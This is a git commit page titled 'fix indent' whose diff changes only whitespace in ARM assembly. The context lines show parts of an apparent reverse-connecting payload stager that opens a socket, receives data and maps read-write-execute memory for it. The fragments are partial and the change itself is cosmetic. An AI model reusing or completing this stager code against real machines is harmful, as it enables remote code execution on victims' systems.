fix indent

bug/bundler_fix
Tim 2017-06-18 15:35:23 +08:00
parent 1773a5f188
commit 210a4cb299
1 changed files with 3 additions and 3 deletions

View File

@ -37,7 +37,7 @@ _start:
cmp r0, #0
blt failed
@ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
mov r12,r0 @ sockfd
mov r12,r0 @ sockfd
add r7,#2 @ __NR_socket
add r1,pc,#196 @ *addr
mov r2,#16 @ addrlen
@ -45,7 +45,7 @@ _start:
cmp r0, #0
blt failed
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
mov r0,r12 @ sockfd
mov r0,r12 @ sockfd
sub sp,#4
add r7,#8 @ __NR_recv
mov r1,sp @ *buf (on the stack)
@ -65,7 +65,7 @@ _start:
mov r7, #192 @ __NR_mmap2
ldr r0,=0xffffffff @ *addr = NULL
mov r2,#7 @ prot = PROT_READ | PROT_WRITE | PROT_EXEC
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
mov r4,r0 @ fd
mov r5,#0 @ pgoffset
swi 0